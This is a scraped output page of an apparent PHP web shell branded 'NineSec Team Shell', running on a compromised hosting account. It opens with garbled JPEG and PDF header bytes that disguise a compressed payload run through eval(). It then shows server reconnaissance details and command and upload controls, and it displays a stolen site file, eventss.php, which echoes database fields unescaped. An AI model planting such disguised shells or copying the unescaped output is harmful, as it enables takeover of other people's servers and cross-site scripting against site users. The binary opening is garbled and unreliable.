JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/../eventss.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

require_once 'config/database.php';

$user_id = $_SESSION['user_id'];

// Get user's events with more details
$stmt = $pdo->prepare("
    SELECT e.*, r.registration_date, r.status, c.certificate_file 
    FROM events e 
    INNER JOIN registrations r ON e.id = r.event_id 
    LEFT JOIN certificates c ON (e.id = c.event_id AND r.user_id = c.user_id)
    WHERE r.user_id = ? 
    ORDER BY e.event_date DESC
");
$stmt->execute([$user_id]);
$events = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My Events - Princess UAE</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <?php include 'includes/dashboard_nav.php'; ?>

    <div class="container mt-4">
        <div class="row">
            <div class="col-md-3">
                <?php include 'includes/dashboard_sidebar.php'; ?>
            </div>
            <div class="col-md-9">
                <div class="card">
                    <div class="card-header">
                        <h4><i class="fas fa-calendar-alt"></i> My Events</h4>
                    </div>
                    <div class="card-body">
                        <?php if(count($events) > 0): ?>
                            <div class="row">
                                <?php foreach($events as $event): ?>
                                    <div class="col-md-6 mb-4">
                                        <div class="card h-100">
                                            <div class="card-body">
                                                <h5 class="card-title"><?php echo $event['title']; ?></h5>
                                                <p class="card-text"><?php echo substr($event['description'], 0, 100); ?>...</p>
                                                <ul class="list-group list-group-flush">
                                                    <li class="list-group-item">
                                                        <i class="fas fa-calendar-day"></i> 
                                                        <strong>Date:</strong> <?php echo date('F j, Y', strtotime($event['event_date'])); ?>
                                                    </li>
                                                    <li class="list-group-item">
                                                        <i class="fas fa-map-marker-alt"></i> 
                                                        <strong>Location:</strong> <?php echo $event['location']; ?>
                                                    </li>
                                                    <li class="list-group-item">
                                                        <i class="fas fa-users"></i> 
                                                        <strong>Status:</strong> 
                                                        <span class="badge bg-<?php echo $event['status'] == 'approved' ? 'success' : 'warning'; ?>">
                                                            <?php echo ucfirst($event['status']); ?>
                                                        </span>
                                                    </li>
                                                    <li class="list-group-item">
                                                        <i class="fas fa-certificate"></i> 
                                                        <strong>Certificate:</strong> 
                                                        <?php if($event['certificate_file']): ?>
                                                            <span class="badge bg-success">Available</span>
                                                        <?php else: ?>
                                                            <span class="badge bg-secondary">Not Available</span>
                                                        <?php endif; ?>
                                                    </li>
                                                </ul>
                                            </div>
                                            <div class="card-footer">
                                                <?php if($event['certificate_file']): ?>
                                                    <a href="download_certificate.php?id=<?php echo $event['id']; ?>" 
                                                       class="btn btn-success btn-sm">
                                                        <i class="fas fa-download"></i> Download Certificate
                                                    </a>
                                                <?php endif; ?>
                                                <button class="btn btn-outline-primary btn-sm" 
                                                        data-bs-toggle="modal" 
                                                        data-bs-target="#eventModal<?php echo $event['id']; ?>">
                                                    View Details
                                                </button>
                                            </div>
                                        </div>
                                    </div>

                                    <!-- Event Modal -->
                                    <div class="modal fade" id="eventModal<?php echo $event['id']; ?>" tabindex="-1">
                                        <div class="modal-dialog">
                                            <div class="modal-content">
                                                <div class="modal-header">
                                                    <h5 class="modal-title"><?php echo $event['title']; ?></h5>
                                                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                                                </div>
                                                <div class="modal-body">
                                                    <p><strong>Description:</strong><br><?php echo $event['description']; ?></p>
                                                    <p><strong>Date:</strong> <?php echo date('F j, Y', strtotime($event['event_date'])); ?></p>
                                                    <p><strong>Location:</strong> <?php echo $event['location']; ?></p>
                                                    <p><strong>Registration Date:</strong> <?php echo date('F j, Y', strtotime($event['registration_date'])); ?></p>
                                                    <p><strong>Status:</strong> <span class="badge bg-<?php echo $event['status'] == 'approved' ? 'success' : 'warning'; ?>"><?php echo ucfirst($event['status']); ?></span></p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                <?php endforeach; ?>
                            </div>
                        <?php else: ?>
                            <div class="text-center py-5">
                                <i class="fas fa-calendar-times fa-3x text-muted mb-3"></i>
                                <h5>No Events Registered</h5>
                                <p class="text-muted">You haven't registered for any events yet.</p>
                                <a href="events_list.php" class="btn btn-primary">Browse Available Events</a>
                            </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

NineSec Team - 2022